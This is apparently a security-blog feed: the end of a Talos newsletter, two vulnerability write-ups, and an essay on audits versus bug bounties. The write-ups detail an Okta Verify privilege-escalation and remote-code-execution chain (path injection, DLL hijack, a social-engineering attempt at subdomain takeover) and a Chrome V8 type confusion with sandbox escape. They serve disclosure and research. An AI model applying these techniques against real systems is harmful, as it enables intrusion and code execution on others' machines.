There are some known indicators of compromise that customers can look for if they suspect The lack of MFA remains one of the biggest impediments for enterprise security. All organizations should implement some form of MFA, such as Cisco Duo. The implementation of MFA and a single sign-on system can ensure only trusted parties are accessing corporate email accounts, to prevent the spread of BEC. If you’d like to read about other lessons from recent Talos IR engagements, read the one-pager here or the blog post here

Top security headlines of the week 

The chief executive of UnitedHealth Group testified to U.S. Congress on Wednesday regarding the recent cyber attack against Change Healthcare. Change’s operations went nearly completely dark for weeks earlier this year after a data breach, which likely resulted in millions of patients’ records and personal information being accessed. Lawmakers questioned whether UnitedHealth was too involved in the nation’s medical systems, as Change manages a third of all American patient records and processes more than 15 billion transactions a year at doctor’s offices, hospitals and other medical providers. As a result of the outage, some healthcare practitioners went more than a month without being paid, and many had to tap into their personal funds to keep offices open. UnitedHealth’s CEO told Congress the company was still working to figure out the full extent of the campaign and was talking to U.S. agencies about how to best notify individuals who were affected. The hearing has also generated a conversation around consolidation in the American healthcare industry and whether some groups are controlling too much of the patient base. (The New York Times, CNBC

Vulnerabilities in a popular phone tracking app could allow anyone to view all users’ locations. A security researcher recently found that iSharing, which allows users to see the exact location of a device, contains a vulnerability that prevented the app's servers from conducting proper checks of user data access. iSharing is advertised as an app for users who want to track friends' and family members’ locations or as an extra layer of security if their device were to be lost or stolen. The flaws also exposed users’ names, profile pictures, email addresses and phone numbers. The researcher who discovered the vulnerability was able to show a proof-of-concept exploitation almost immediately after creating a brand new account on the app. Representatives from the developers of iSharing told TechCrunch that the company’s logs did not show any signs of the vulnerability being exploited prior to the researcher’s disclosure. These types of apps can also be used as “stalkerware,” in which someone who knows a targeted user quietly downloads the app on a target’s phone, and then uses it to remotely track their location. (TechCrunch

Adversaries are hiding malware in GitHub comments, disguising malicious code as URLs associated with Microsoft repositories, and making the files appear trustworthy. Although some security researchers view this as a vulnerability, Microsoft maintains that it is merely a feature of using GitHub. While adversaries have so far mainly abused this feature to mirror Microsoft URLs, it could theoretically be used to create convincing lures on any GitHub repository. When a user leaves a comment in GitHub, they can attach a file, which is then uploaded to GitHub’s CDN and associated with the related project using a unique URL. GitHub automatically generates the link to download that attachment after adding the file to an unsaved comment, allowing threat actors to attach malware to any repository without the administrators knowing. This method has already been abused to distribute the Readline information-stealing trojan by attaching comments to Microsoft’s GitHub-hosted repositories for “vcpkg” and “STL.” The malicious URL will even still work if the poster deletes the comment, allowing them to reuse the GitHub-generated URL. (Bleeping Computer, Dark Reading

Can’t get enough Talos? 

 

Upcoming events where you can find Talos

RSA (May 6 - 9) 

San Francisco, California    

ISC2 SECURE Europe (May 29) 

Amsterdam, Netherlands 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent.  

Cisco Live (June 2 - 6) 

Las Vegas, Nevada  

Most prevalent malware files from Talos telemetry over the past week 

This section will be on a brief hiatus while we work through some technical difficulties. 

Okta Verify for Windows Remote Code Execution – CVE-2024-0980

By: b0yd
2 May 2024 at 17:41

This article is in no way affiliated, sponsored, or endorsed with/by Okta, Inc. All graphics are being displayed under fair use for the purposes of this article.

Poppin shells with Okta Verify on Windows

These days I rarely have an opportunity to do bug hunting. Fortunately, over the holiday break, I found some free time. This started as it usually does with me looking at what software was running on my computer.

A while back I had installed Okta Verify on my Windows box as it was required for some “enhanced” 2FA that I was required to have to access a thing. Months later it sat there doing whatever it does. I googled to see if Okta had a bug bounty program because even though I had some time, it’d be nice to get paid if I found a thing. I was thrilled to find that Okta had a bug bounty with Bugcrowd, Okta Verify is in it, and the payouts look good, almost too good.

I started with my usual bug hunting flow when approaching a random Windows service. This typically includes looking for the usual low hanging fruit. A good article for the types of things to look for can be found here.

Firing up Sysinternal’s Procmon, I saw there is a service called Okta.Coordinator.Service that is running as SYSTEM. Without going into the details (namely because Okta hasn’t fixed it or issued it a CVE), I found a thing. I submitted the report and was promptly paid.

Well that’s weird. The bug I submitted is an unequivocal 7.8 CVSS. Which without knowing the voodoo behind P ratings (P1-P4), seems like would be a P2 at least. Instead I get a P3 and paid out at the lower end.

Looking back on it, I’m betting this is probably an old bug bounty program trick to motivate researchers to dig deeper… because, it worked. I decided to take a closer look since I hadn’t even opened up the binary to see what it was doing – and I wanted to get that big payout.

Let’s Get Crackin’

I haven’t popped Okta.Coordinator.Service.exe into a disassembler yet, but I’m betting it’s a .NET application. My guess comes from its name and the fact that there’s an Okta.Coordinator.Service.exe.config file right there with it, which you usually see with .NET applications.

When I open up the executable in JetBrains dotPeek, I can confirm it is indeed a .NET application. The binary appears to be a service wrapper. It handles the service related functionality: install, uninstall, start, stop, etc.  It references a Okta.AutoUpdate.Executor class that just so happens to have a matching DLL in the same directory.

Moving on to the DLL in dotPeek, I found the code used by the service. The first thing I noticed was it sets up a NamedPipe server, which listens for commands to update the Okta Verify software. This is a common design paradigm in Windows for enabling low-privileged applications to communicate with a high-privileged service to perform updates, as these often require elevated privileges. It’s a complex mechanism that’s tricky to do right, and often a good place for finding bugs. I was able to confirm the existence of the named-pipe server with a little Powershell.

Next, I investigated how to initiate an update and what aspects of this process could be manipulated by an attacker. The handler for the named pipe processes a straightforward JSON message that includes several fields, some checked against expected values. The primary field of interest is the update URL. If the input data passes validation, the software will attempt to fetch details from the specified URL about the most recent update package available. As shown below, the URL (sub)domain is verified against a whitelist before proceeding. For now, I’ll avoid trying to meet/bypass this requirement and simply add an entry in the hosts file on my test machine.

Typically at this stage, I’d code up a proof of concept (POC) to send a JSON message to the named pipe and check if the software connected to a web server I control. But since I haven’t spotted any potential vulnerabilities yet, I skipped that step and moved on.

From here I took a look at the code responsible for processing the JSON message retrieved from the attacker controlled update server. The application is expecting a message that contains metadata about an update package including versioning and an array of file metadata objects. These objects contain several pertinent fields such the download URL, size, hash, type, and command line arguments. The provided download URL is validated with the same domain checking algorithm as before. If the check passes, the software downloads the file and writes it to disk. This is where things get interesting. The code parses the download URL from the received metadata and constructs the file path by calling the Path.Combine function.

Several factors are converging here to create a serious vulnerability. The most obvious is the use of the Path.Combine function with user supplied data. I went into depth about this issue in a previous blog post here. The TLDR is if a full path is provided as the second argument to this function, the first argument that typically specifies the parent folder, is ignored. The next issue is how the filename is parsed. The code splits the file location URL by forward slash and takes the last element as the filename. The problem (solution) is a full Windows path can be inserted here using back slashes and it’s still a valid URL. Since the service is running as SYSTEM, we have permissions to right anywhere. If we put all this together our payload looks something like the script below.

Copy to Clipboard

Now that I have a potential bug to test out, I craft the POC for the named pipe client to trigger the update. Luckily, this code already exists in the .NET DLL for me to repurpose.  With my web server code also in place I send the request to test out the file write. As I had hoped, the file write succeeds!

Cool, but what about impact!

I have the ability to write arbitrary files as SYSTEM on Windows. How can I leverage this to achieve on-demand remote code execution? The first thing that comes to mind is some form of DLL hijacking. I’ve used phantom DLL hijacking in the past but this is more appropriate for red team operations where time constraints aren’t really an issue. What I really need is the ability to force execution shortly after the file write.

Since the whole purpose behind this service is to install an update, can I just use it to execute my code? I reviewed the code after the file write to see what it takes to execute the downloaded update package. It appears the file type field in the file object metadata is used to indicate which file to execute. If the EXE or MSI file type is set, the application will attempt to validate the file signature before executing it, along with any supplied arguments. The process launcher executes the binary with UseShellExecute set to false so no possibility of command injection.

My original thought was to deliver a legitimate Okta Verify package since this would pass the signature check. I could then use ProcMon to identify a DLL hijack in the install package. Privileged DLL hijacks occur in almost all services because the assumption is you already require the permissions to write to a privileged location. Ironically though, I found the service binary actually contained a DLL hijack just prior to the signature verification to load the necessary cryptographic libraries. If I write a DLL to C:\Program Files (x86)\Okta\UpdateService\wintrust.dll, it will get loaded just prior to signature verification.

Great, so now I have a way to execute arbitrary code from an unprivileged user to SYSTEM. “Guessing” that this probably won’t meet the bar of P1 or P2, I start thinking of how to upgrade this to remote code execution. If RCE doesn’t get a P1 then what does? The interesting thing about named pipes is that they are often remotely accessible. It all depends on what permissions are set. Looking at the code below, it sets full control to the “BUILTIN\Users” group.

Testing from a remote system in my network confirms that I get permissioned denied when I try to connect to the named pipe. After a couple of days I had an idea. If a Windows system is part of a Active Directory domain, does the BUILTIN/Users group permissions automatically get converted to the “Domain Users” group in a domain? This would mean any user in an AD domain could remotely execute code on any system that has Okta Verify installed. Moreover, considering that this software is aimed at large corporate enterprises, it would likely be included in the standard build and deployed broadly. So not explicitly “Domain Admin” but a good chance of it. I had to find out, so I stood up a test AD network in AWS and the following video shows what happened.

Almost done

Well that seems like a big deal right? Maybe get a P1 (and 70k…)? I’m guessing the small detail about not having an Okta subdomain to download from may keep it from landing a P1. Having worked at big tech companies, I know that subdomain takeover reports are common. However, without having a subdomain takeover, it’s likely the bug’s significance will be minimized. I decided to dedicate some time to searching for one to complete the exploit chain. After going through the standard bug bounty subdomain takeover tools, I came up with only one viable candidate: oktahelpspot.okta.com.  It pointed to an IP with no open ports, managed by a small VPS provider named Arcustech.

After signing up for an account and some very innocent social engineering, I got the following response. And then a second email from the first person’s manager. Oh well, so much for that.

The next thing that came to mind was leveraging a custom Okta client subdomain. Whenever a new client registers with Okta, they receive a personalized Okta subdomain to manage their identity providers, e.g. trial-XXXXXXX.customdomains.okta.com. I found a way to set custom routes in the web management application that would redirect traffic from your custom domain to a user defined URL. Unfortunately, this redirect was implemented in Javascript, rather than through a conventional 302 or 301 HTTP redirect. Consequently, the .NET HTTP client that the Okta Verify update service uses did not execute the Javascript and therefore did not follow the redirect as a browser would.

Reporting

At this point, I decided it was time to report my findings to Okta. Namely, because they were offering a bonus at the time for what appeared to be Okta Verify, which I think they might have either forgotten or included without mentioning. Secondly, I didn’t want to risk someone else beating me to it. I am happy to report they accepted the report and awarded me a generous bounty of $13,337 as a P2. It wasn’t quite $70k, or a P1, but it’s nothing to sneeze at. I want to thank Okta for the bounty and quick resolution. They also kindly gave me permission to write this blog post and followed through with issuing CVE-2024-0980 along with an advisory.

One last note, if anyone reading this identifies a way to bypass the subdomain validation check I would be very interested. I attempted most of the common URL parsing confusion techniques as well as various encoding tricks all for naught. Drop me a line at @rwincey on X

CVE-2024-2887: A Pwn2Own Winning Bug in Google Chrome

In this guest blog from Master of Pwn winner Manfred Paul, he details CVE-2024-2887 – a type confusion bug that occurs in both Google Chrome and Microsoft Edge (Chromium). He used this bug as a part of his winning exploit that led to code execution in the renderer of both browsers. This bug was quickly patched by both Google and Microsoft. Manfred has graciously provided this detailed write-up of the vulnerability and how he exploited it at the contest.


In this blog, I describe a means of exploiting the V8 JavaScript and WebAssembly engine to gain execution of arbitrary shellcode inside the renderer process. This includes a bypass of the V8 memory sandbox (Ubercage), though code execution is still constrained by the process isolation-based browser sandbox. For demonstration purposes, this limitation can be removed by running the browser with the --no- sandbox flag.

Root Cause of the WebAssembly Universal Type Confusion

A WebAssembly module may contain a type section that defines a list of custom “heap types”. In the base specification, this is used only to declare function types, but with the adoption of the garbage collection (GC) proposal [PDF], this section can additionally define struct types, allowing for the use of composite, heap-allocated types in WebAssembly.

Normally, a struct declared in this section may only reference structs that precede it (structs with a lower type index). To support mutually recursive data structures, a feature called recursive type groups is available. Instead of declaring the (potentially) mutually recursive types as individual entries in the type section, a recursive group is declared as a single type section entry. Within this group, individual types are declared, which are thereby allowed to reference each other.

With this in mind, consider the function responsible for parsing the type section from the binary WebAssembly format in v8/src/wasm/module-decoder-impl.h:

At (1), the limit kV8MaxWasmTypes (currently equal to 1,000,000) is passed as a maximum to consume_count(), ensuring that at most this many entries are read from the type section. When recursive type groups were added, this check became insufficient. While this code will permit only kV8MaxWasmTypes entries of the type section to be read, each of those can potentially be a recursive type group containing more than one individual type definition.

This insufficiency was clearly noticed at the time of this change, as together with recursive type groups a second check was added at (2). Here, for each recursive type group, it is checked that the addition of the constituent types would not exceed the kV8MaxWasmTypes limit.

However, this second check is still not enough. While it protects the indices of each type allocated inside a recursive group, the presence of those groups also has implications for types declared outside this group, as each recursive group adds to the total count of declared types.

To make this clearer, imagine a type section consisting of two entries: one recursive group containingkV8MaxWasmTypes entries, and following that group, one non-recursive type. The check at (1) is passed, as the section only has two entries. While processing the recursive group, the check at (2) is also passed, as the section has exactly kV8MaxWasmTypes entries. For the following single type, there is no further check: at (3) the type is simply allocated at the next free index. In this case, the index will be kV8MaxWasmTypes, exceeding the usual maximum of kV8MaxWasmTypes-1. If there were more than one non-recursive type at the end of the type section, they would similarly get assigned kV8MaxWasmTypes+1, kV8MaxWasmTypes+2, and so forth, as type indices.

Impact of the Root Cause

Exceeding the maximal number of declared heap types might seem like a very harmless resource exhaustion bug at first. However, due to some internal details of how V8 handles WebAssembly heap types, it directly allows constructing some very powerful exploit primitives.

In v8/src/wasm/value-type.h, the encoding of heap types is defined:

Here, V8 assumes that all user-defined heap types will be assigned indices smaller than kV8MaxWasmTypes. Larger indices are reserved for fixed, internal heap types (beginning with kFunc). This results in our own type declarations aliasing one of these internal types, leading to many opportunities for type confusion.

Universal WebAssembly Type Confusion

To leverage this encoding ambiguity into a full type confusion, let’s first consider the struct.new opcode, which produces a reference to a new struct created from fields given on the stack. The caller specifies the desired struct type by passing its type index. The relevant check on the type index can be found in v8/src/wasm/function-body-decoder-impl.h:

Following the validation logic into the has_struct() method from v8/src/wasm/wasm-module.h:

Since we can make types.size() exceed the usual limit of kV8MaxWasmTypes, we can make the check pass even if when passing an index larger than this value. This allows us to create a reference of an arbitrary internal type that points to the struct we can freely define.

On the other hand, consider now the handling of the ref.cast instruction:

Here, a type check elimination is performed. If TypeCheckAlwaysSucceeds returns true, then no actual type check is emitted and the value is simply reinterpreted as the target type.

The function TypeCheckAlwaysSucceeds ultimately calls IsHeapSubtypeOfImpl defined in v8/src/wasm/wasm-subtyping.cc:

This means that if our declared type index aliases the constant HeapType::kNone, the type check will always be elided if we cast to any non-function, non-external reference. In combination, we can use this to turn any reference type into any other by the following steps:

  1. In the type section, define a structure type with a single field of type anyref, and make this struct have a type index equal to HeapType::kNone using the bug described above.

  2. Place a non-null reference value of any type on the top of the stack and call struct.new with the type index set to HeapType::kNone. This will succeed, as has_struct() validates the index against the index established via the previous step.

  3. Also, declare a struct with a normal type index lower than kV8MaxWasmTypes with a single field of the target reference type. Call ref.cast with this this struct’s type index. The engine will not perform any type check, as the input value is at this point understood to be reference type HeapType::kNone.

  4. Finally, read back the reference stored in the struct by executing struct.get.

This arbitrary casting of reference types allows transmuting any value type into any other by referencing it, changing the reference type, and then dereferencing it – a universal type confusion.

In particular, this directly contains nearly all usual JavaScript engine exploitation primitives as special cases:

• Transmuting int to int* and then dereferencing results in an arbitrary read.

• Transmuting int to int* and then writing to that reference results in an arbitrary write.

• Transmuting externrefto int is the addrOf() primitive, obtaining the address of a JavaScript object.

• Transmuting int to externref is the fakeObj() primitive, forcing the engine to treat an arbitrary value as a pointer to a JavaScript object.

While casting from HeapType::kNone to an externref is not allowed, remember that we are actually operating on one more level of indirection - transmuting to externref involves casting to a reference to a struct containing one externref member.

Note however that these “arbitrary” reads and writes are still contained in the V8 memory sandbox, as all involved pointers to heap-allocated structures are tagged, compressed pointers inside the heap cage, not full 64-bit raw pointers.

Integer Underflow Leading to V8 Sandbox Escape

The primitives described above allow for freely manipulating and faking most JavaScript objects. However, all of this happens inside the limited memory space of the V8 sandbox. “Trusted” objects such as WebAssembly instance data cannot yet be manipulated. We will now turn our attention to a bug that can be used to escape the memory sandbox.

An often-used object for JavaScript engine exploits is ArrayBuffer and its corresponding views, (i.e. typed arrays), as it allows for direct, untagged access to some region of memory.

To prevent access to pointers outside the V8 sandbox, sandboxed pointers are used to designate a typed array’s corresponding backing store. Similarly, an ArrayBuffer’s length field is always loaded as a “bounded size access”, inherently limiting its value to a maximum of 235 − 1.

However, in modern JavaScript, the handling of typed arrays has become quite complex due to the introduction of resizable ArrayBuffers (RABs) and their sharable variant, growable SharedArrayBuffers (GSABs). Both variants feature the ability to change their length after the object has been created with the shared variant being restricted to never shrink. In particular, for typed arrays with these kinds of buffers, the array length can never be cached and must be recomputed on each access.

Additionally, ArrayBuffers also feature an offset field, describing the start of the data in the actual underlying backing store. This offset must be taken into account when computing the length.

Let’s now look at the code responsible for building a TypedArray’s length access in the optimizing Turbofan compiler. It can be found in v8/src/compiler/graph-assembler.cc. Note that most non-RAB/GSAB cases and the code responsible for dispatching are omitted for simplicity:

For arrays backed by a resizable ArrayBuffer, we can see at (1) that the length is computed as floor((byte_length - byte_offset) / element_size). Crucially, there is an underflow check. If byte_offset exceeds byte_length, then 0 is returned instead.

Curiously though, in the case of a GSAB-backed array, the corresponding underflow check is missing. Thus, if byte_offset is larger than byte_length, an underflow occurs and the subtraction wraps around to something close to the maximum unsigned 64-bit integer 264. As both of these fields are found in the (by now) attacker-controlled array object, we can easily trigger this using the sandboxed arbitrary read/write primitives discussed previously. This results in access to the whole 64-bit address space, as the length computed by this function is used to bound any typed array accesses (in JIT-compiled code).

Exploitation for Arbitrary Shellcode Execution

Using the two bugs described above, exploitation becomes fairly straightforward. The primitives described in the Universal WebAssembly Type Confusion section directly give arbitrary reads and writes within the V8 memory sandbox. This can then be used to manipulate a growable SharedArrayBuffer to have an offset greater than its length. A previously JIT-compiled read/write function can then be used to access and overwrite data anywhere in the process’s address space. An appropriate target for overwrite is the compiled code of a WebAssembly module, since that resides in an RWX (read-write-execute) page and can be overwritten with shellcode.


Thanks again to Manfred for providing this thorough write-up. He has contributed multiple bugs to the ZDI program over the last few years, and we certainly hope to see more submissions from him in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

Product Security Audits vs. Bug Bounty

1 May 2024 at 22:00

Every so often we see people discussing whether they still need to have product security audits (commonly referred to as pentests) because they have a bug bounty program. While the answer to this seems clear to us, it nonetheless is a recurring topic of discussion, particularly in the information security corners of social media. We’ve decided to publish our thoughts on this topic to clarify it for those who might still be unsure.

Product security audit team versus crowd-based security

Defining the approaches

Product Security Audit

What we refer to as a product security audit is a time-bound project, where one or more engineers focus on a particular application exclusively. The testing is performed by employees of an application security firm. This work is usually scoped ahead of time and billed at flat hourly/daily rates, with the total cost known to the client prior to commencing.

These can be white box (i.e., access to source code and documentation) or black box (i.e., no source code access, with or without documentation), or somewhere in the middle. There is usually a well-defined scope and often preliminary discussions on points of interest to investigate more closely than others. Frequently, there will also be a walkthrough of the application’s functionality. More often than not, the testing takes place in a predefined set of days and hours. This is typically when the client is available to respond to questions, react in the event of potential issues (e.g., a site going down) or possibly to avoid peak traffic times.

Because of the trust that clients have in professional firms, they will often permit them direct access to their infrastructure and code - something that is generally never done in a bug bounty program. This empowers the testers to find bugs that are potentially very difficult to find externally and things that may be out of scope for dynamic tests, such as denial-of-service vulnerabilities. Additionally, with this approach, it’s common to discover one vulnerability, only to then quickly discover it’s a systemic issue specifically because of the access to the code. With this access, it is also much easier to identify things like vulnerable dependencies, often buried deep in the application.

Once the testing is complete, the provider will usually supply a written report and may have a wrap-up call with the client. There may also be a follow-up (retest) to ensure a client’s attempts at remediation have been successful.

Bug Bounty Programs

What is most commonly referred to as a bug bounty program is typically an open-ended, ongoing effort where the testing is performed by the general public. Some companies may limit participation to a smaller group, permitting participation on whatever criteria they wish, with past performance in other programs being a commonly used factor.

Most programs define a scope of things to be tested and the vulnerability types that they are interested in receiving reports on. The client typically sets the payout amounts they are offering, with escalating rewards for more impactful discoveries. The client is also free to incentivize testing on certain areas through promotions (e.g., double bounties on their new product). Most bug bounty programs are exclusively black box, with no source code or documentation provided to the participating testers.

In most programs, there are no limits as to when the testing occurs. The participants determine if and when they perform testing. Because of this, any outages caused by the testing are usually treated as either normal engineering outages or potentially as security incidents. Some programs do ask their testers to identify their traffic via various means (e.g., passing a unique header) to more easily understand what they’re seeing in logs, if questions arise.

The bug bounty program’s concept of reporting is commonly individual bug reports, with or without a pre-formatted submission form. It is also common for programs to request that the person submitting the report validate the fix.

Hybrid Approaches

While not the focus of this post, we felt it was necessary to also acknowledge that there are hybrid approaches available. These offerings combine various aspects of both a bug bounty program and focused product security audits. We hope this post will inform the reader well enough to ensure they select the approach and mix of services that is right for their organization and fully understand what each entails.

Contrasting the approaches

From the definitions, the two approaches seem reasonably similar, but when we go below the surface, the differences become more apparent.

The people

It’s not fair to paint any group with a broad brush, but there are some clear differences between who typically works in a product security audit versus a bug bounty program. Both approaches can result in great people testing an application and both could potentially result in participants lacking the professionalism and/or skill set you hoped for.

When a firm is retained to perform testing for a client, the firm is staking their reputation on the client’s satisfaction. Most reputable firms will attempt to provide clients with the best people they have available, ideally considering their specific skills for the engagement. The firm assumes the responsibility to screen their employees’ technical abilities, usually through multiple rounds of testing and interviewing prior to hiring, along with ongoing supervision, training and mentoring. Clients are also often provided with summaries of the engineers’ résumés, with the option to request alternate testers, if they feel their background doesn’t match with the project. Lastly, providers are also usually required to perform criminal background checks on their staff to meet client requirements.

A Bug Bounty program usually has very minimal entry requirements. Typically this just means that the participants are not from embargoed countries. Participants could be anyone from professionals looking to make extra money, security researchers, college students or even complete novices looking to build a résumé. While theoretically a client may draw more eyes to their project than in a typical audit, that’s not guaranteed and there are no assurances of their qualifications. Katie Moussouris, a well-known CEO of a bug bounty consultancy, is quoted underscoring this point, saying “Their latest report shows most registered users are basically either fake or unskilled”. Further, per their own statistics, one of the largest platforms stated that only about one percent of their participants “were really doing well”. So, despite large potential numbers, the small percentage of productive participants will be stretched thinly across thousands of programs, at best. In reality, the top participants tend to aggregate around programs they feel are the most lucrative or interesting.

The process

When a client hires a quality firm to perform a product security audit, they’re effectively getting that firm’s collective body of knowledge. This typically means that their personnel have others within the company they can interact with if they encounter problems or need assistance. This also means that they likely have a proprietary methodology they adhere to, so clients should expect thorough and consistent results. Internal peer review and other quality assurance processes are also usually in place to ensure satisfactory results.

Generally, there are limitations on what a client wants or is able to share externally. It is common that a firm and client sign mutual NDAs, so neither party is allowed to disclose information about the audit. Should the firm leak information, they can potentially be held legally liable.

In a bug bounty program, each tester makes their own rules. They may overlap each other, creating repeated redundant tests, or they may compliment each other, giving the presumed advantage of many eyes. There is generally no way for a client to know what has or has not been tested. Clients may also find test accounts and data littered throughout the app (e.g., pop-up alerts everywhere), whereas professional testers are typically more restrained and required to not leave such remnants.

Most bug bounty programs don’t require a binding NDA, even if they are considered “private”. Therefore, clients are faced with a decision as to what and how much to share with the program participants. As a practical matter, there is little recourse if a participant decides to share information with others.

The results

When a client hires a firm, they should expect a well-written professional report. Most firms have a proprietary reporting format, but will usually also provide a machine-readable report upon request. In most cases, clients can preview a sample report prior to hiring a firm, so they can get a very clear picture of the deliverables.

Reports from professional audits are typically subjected to several rounds of quality control prior to being delivered to clients. This will typically include a technical review or validation of reported issues, in addition to language and grammar editing to ensure reports are readable and professionally constructed. Additionally, quality firms also understand the fact that the results may be reviewed by a wide audience at their clients. They will therefore invest the time and effort to construct them in such a way that an audience, with a wide range of technical knowledge, are all able to understand the results. Testers are also typically required to maintain testing logs and quality documentation of all issues (e.g., screenshots - including requests and responses). This ensures clear findings reports and reproduction steps along with all the supporting materials.

Through personalized relationships with clients and potentially their source code, firms have the opportunity to understand what is important to them, which things keep them up at night and which things they aren’t concerned about. Through kickoff meetings, ongoing direct communication and wrap-up meetings, firms build trust and understanding with clients. This allows them to look at vulnerabilities of all severity levels and understand the context for the client. This could result in simply saving the client’s time or recognizing when a medium severity issue is actually a critical issue, for that client’s organization.

Further, repeated testing allows a client to tangibly demonstrate their commitment to security and how quickly they remediate issues. Additionally, product security audits conducted by experienced engineers, especially those with source code access, can highlight long-term improvements and hardening measures that can be taken, which would not generally be a part of a bug bounty program’s reports.

In a bug bounty program, the results are unpredictable, often seemingly driven mainly by the participants’ focus on payouts. Most companies end up inundated with effectively meaningless reports. Whether valid or not, they are often unrealistic, overhyped, known CVEs or previously known bugs, or issues the organization doesn’t actually care about. It is rare that results fully meet expectations, but not impossible. Submissions tend to cluster around things pushing (often quite imaginatively) to be considered critical or high severity, to gain the largest payouts or the low hanging fruits detected by automated scanners, usually reported by the lower rated participants looking for any type of payouts, no matter how trivial. The reality is that clients need to pay a premium to get the “good researchers” to participate, but on public programs that itself can also cause a significant uptick in “spam” reports.

Bug bounty reports are typically not formatted in a consistent manner and not machine-readable for ingestion into defect tracking software. Historically, there have been numerous issues that have arisen from reports which were difficult to triage due to language issues, poor grammar or bad proof-of-concept media (e.g., unhelpful screenshots, no logs, meandering videos). To address this, some platforms have gone as far as to incentivize participants to provide clear and easily readable reports via increased payouts, or positive reviews which impact the reporters’ reputation scores.

The value

A professional audit is something that produces a deliverable that a client can hand to a third-party, if necessary. While there is a fixed cost for it, regardless of the results, this documented testing is often required by partner companies and for compliance reasons. Furthermore, when using a reputable firm, a client may find it easier to pass the security requirements of their partners. Lastly, should there be an incident, a client can attest to their due diligence and potentially lessen their legal liability.

A bug bounty provides no assurances as to the amount of the application that is tested (i.e., the “coverage”). It neither produces an acceptable deliverable that can be offered to third parties, nor does it attest to the quality of the skills of those testing the application(s). Further, bug bounty programs don’t typically satisfy any compliance requirements with respect to testing requirements.

Summary

In the following table, we perform a side-by-side comparison of the two approaches to make the differences clearer.

Product Security Audit versus Bug Bounty table

Conclusion

Which approach an organization decides to take will vary based on many factors including budget, compliance requirements, partner requirements, time-sensitivity and confidentiality requirements. For most organizations, we feel the correct approach is a balanced one.

Ideally, an organization should perform recurring product security audits at least quarterly and after major changes. If budgets don’t permit that frequency of testing, the typical compromise is annually, at an absolute minimum.

Bug bounty programs should be used to fill the gaps between rigorous security audits, whether those audits are performed by internal teams or external partners. This is arguably the need they were designed to fill, rather than replacing recurring professional testing.

❌
❌